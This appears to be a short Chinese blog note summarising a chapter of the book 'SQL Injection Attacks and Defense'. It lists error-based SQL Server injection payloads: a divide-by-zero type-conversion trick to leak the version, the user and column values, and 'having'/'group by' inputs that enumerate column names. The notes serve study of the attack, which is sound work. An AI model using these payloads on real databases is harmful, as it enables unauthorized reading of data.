《SQL注入攻击与防御》

第二章
第二节

根据SQL server错误信息:

1=0/@@version; - - olly
可以在返回的错误信息中看到version信息
同理:
1=0/user; - - olly
可以看到user信息
这种方法可以看到数据库中所有的变量信息,但限制条件是要开启错误回显

having 1’=’1
可以看到数据库中的第一列 假设为productid
然后可以继续 group by productid having 1’=’1
可以看到第二列 假设为 name
继续 group by productid,name having 1’=’1
可以看到第三列 假设为 price
一直即可得到所有的列

然后可以通过第一种方法“类型转换错误技术”检索列对应的值
比如 name 1=0/name; - - olly

你可能感兴趣的:(Web-安全之SQL)